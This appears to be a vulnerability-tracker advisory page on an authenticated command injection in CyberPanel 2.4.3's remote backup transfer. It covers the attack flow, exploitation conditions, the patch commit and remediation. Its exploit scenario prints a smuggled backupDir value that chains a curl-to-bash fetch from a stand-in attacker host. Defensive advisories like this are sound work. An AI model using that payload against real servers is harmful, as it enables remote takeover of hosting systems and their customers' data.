Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessAuthenticate to CyberPanel with low-privilege credentials
-
DeliveryConfigure attacker-controlled server as remote backup destination
-
ExploitInitiate remote backup transfer or restore operation
-
ExecutionAttacker server returns crafted API response with shell-injected backupDir value
-
PersistCyberPanel concatenates unsanitized backupDir into OS shell command
-
ImpactArbitrary commands execute as CyberPanel process user on host
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK
2 techniques across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires a valid CyberPanel account with sufficient role permissions to configure and use the remote backup transfer feature (CVSS PR:L). The attacker must additionally be able to control the API response of a remote backup server - achieved either by registering an attacker-owned IP or hostname as the backup destination (possible if the attacker has permission to configure destinations), or by performing a man-in-the-middle attack on the CyberPanel-to-remote-server communication. The injection is triggered specifically when CyberPanel processes the backupDir value in a remote server's API response during backup transfer or restore operations; the feature must be actively invoked. Exploitation is limited by: (1) authenticated access requirement (no unauthenticated path exists), (2) need to influence or control the remote server's API response, and (3) the vulnerable code path is only reachable when the remote backup transfer feature is in active use. Environments that do not configure any remote backup destinations are not reachable via this vector. |
| Impact | The CVSS 4.0 base score of 8.7 with AV:N, AC:L, and PR:L accurately characterizes this as a serious but access-gated threat: exploitation requires valid CyberPanel credentials and the ability to point the backup feature at an attacker-controlled server. No EPSS data was provided, and CISA KEV status is not confirmed, meaning widespread automated exploitation has not been observed. However, the presence of a public proof-of-concept exploit significantly narrows the window for safe remediation - any authenticated user, including reseller-tier or end-user accounts depending on CyberPanel's role configuration, could potentially exploit this. The CVSS 4.0 vector lists SC:N/SI:N/SA:N (no subsequent-system impact), which understates practical risk: OS-level command injection on a hosting control panel effectively means full host compromise, with all co-hosted customer data, credentials, and services exposed. The attack complexity is genuinely low once the attacker controls a remote endpoint - no memory corruption, timing windows, or race conditions are required. |
| Exploit ScenarioDerived | An attacker with a low-privilege CyberPanel account registers an attacker-controlled server as a remote backup destination, then triggers a remote backup transfer or restore operation. The attacker's server returns an API response where the backupDir field contains embedded shell metacharacters - for example, a value such as '1234; curl http://attacker.com/shell.sh | bash; #'. CyberPanel passes this value unsanitized into a shell command string, executing the injected payload as the CyberPanel process user. A public proof-of-concept confirming this attack path exists at themcsam.github.io. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Aug 10, 2026
Command injection in CyberPanel 2.4.3's remote backup transfer feature allows authenticated low-privileged users to execute arbitrary OS commands on the host by manipulating the API response of a remote backup server they control. The vulnerability exists in backupManager.py, where the backupDir value returned by the remote server is concatenated unsanitized into shell command strings, bypassing ACLManager middleware validation entirely. A publicly available proof-of-concept exploit exists per the researcher writeup at themcsam.github.io; the vendor has released a fix in commit eca0c3c.
RemediationAI
Upgrade CyberPanel to any build that includes commit eca0c3c or later, available at https://github.com/usmannasir/cyberpanel/commit/eca0c3cbeb35af8eaae9fafb094e8ef3cd923643. A specific patched release tag has not been independently confirmed from available data - verify the installed commit hash against eca0c3c after updating. If immediate patching is not feasible, restrict access to the remote backup transfer and restore features by limiting which roles can configure remote backup destinations in CyberPanel's ACL settings; this removes the primary attack surface without disabling local backup functionality. Network-level blocking of outbound connections from the CyberPanel host to untrusted external IPs would limit the attacker's ability to register a malicious remote server, but this may also disrupt legitimate backup operations and requires careful allowlisting. Full technical details are available in the researcher's writeup at https://themcsam.github.io/posts/cyberpanel-2.4.3-vulnerabilties/ and the VulnCheck advisory.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
CyberPanel is a Python/Django-based web hosting control panel that manages web servers, databases, and file operations on Linux. The vulnerable code lives in backup/backupManager.py, specifically in the remoteBackupRestore and localRestoreStatus functions, which handle remote backup transfer and restore workflows. The root cause is CWE-78 (Improper Neutralization of Special Elements Used in an OS Command): the backupDir field, sourced directly from the remote backup server's API response rather than from local user input, is concatenated into a shell command string using Python string formatting without any quoting or sanitization. This means the attack surface is the remote server's response rather than the local web request alone, and the existing ACLManager.commandInjectionCheck middleware is never applied to this data path. The fix in commit eca0c3c introduces shlex.quote() for all shell-bound arguments, restricts backupDir to alphanumeric/underscore/hyphen characters via regex, adds explicit path traversal checks for '..' and '/', and adds commandInjectionCheck() validation on IP address, password, port, and username fields during destination configuration. CPE cpe:2.3:a:usmannasir:cyberpanel:*:*:*:*:*:*:*:* uses a wildcard version, indicating all releases prior to the patch commit are potentially in scope.
Know when Cyberpanel gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Network-exploitable by authenticated low-privilege user; OS command injection crosses into the underlying system scope (S:C), with full CIA impact on the host.
Primary rating from Vendor (VulnCheck).
CVSS VectorVendor: VulnCheck
DescriptionCVE.org
CyberPanel 2.4.3, fixed in commit eca0c3c, contains an authenticated command injection vulnerability in the remote backup transfer feature that allows authenticated attackers to execute arbitrary OS commands by controlling a remote server's API response. Attackers can inject malicious commands through a crafted directory name in the remote server's API response, which bypasses security middleware validation and is passed unsanitized to the OS command execution function.
Executive ViewAI
CyberPanel 2.4.3 contains a command injection vulnerability in its remote backup feature that enables authenticated low-privileged users to execute arbitrary operating system commands on the host. Organizations running vulnerable versions risk complete infrastructure compromise and unauthorized access to all hosted services. Publicly available proof-of-concept code creates immediate exploitation risk.
Apply vendor patch.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
More in Cyberpanel
View allgetresetstatus in dns/views.py and ftp/views.py in CyberPanel (aka Cyber Panel) before 1c0c6cb allows remote attackers t
upgrademysqlstatus in databases/views.py in CyberPanel (aka Cyber Panel) before 5b08cd6 allows remote attackers to bypas
CyberPanel (aka Cyber Panel) before 2.3.5 allows Command Injection via completePath in the ProcessUtilities.outputExecut
Unauthenticated database writes in CyberPanel versions before 2.4.4 allow remote attackers to abuse two AI Scanner worke
CyberPanel before 2.3.8 allows remote authenticated users to execute arbitrary commands via shell metacharacters in the
An issue was discovered in CyberPanel through 1.8.4. Rated high severity (CVSS 8.8), this vulnerability is remotely expl
Authenticated remote code execution in CyberPanel 2.4.3 allows any logged-in user to escalate to persistent root-level S
CyberPanel 2.1 contains a command execution vulnerability that allows authenticated attackers to read arbitrary files an
Arbitrary file read in CyberPanel 2.4.3's file manager allows authenticated panel users to escape their home-directory s
CyberPanel versions 2.4.3 through 2.4.5 expose unauthenticated AI Scanner callback and status-update endpoints that retu
CyberPanel (aka Cyber Panel) before 6778ad1 does not require the FilemanagerAdmin capability for restartMySQL actions. R
Stored cross-site scripting in CyberPanel's AI Scanner dashboard chains to unauthenticated remote code execution on vers
EUVD-2026-55736
GHSA-hmw4-vv3v-9326
NVD
CVE.org
EPSS
Vulnrichment
VulDB
Exploit-DB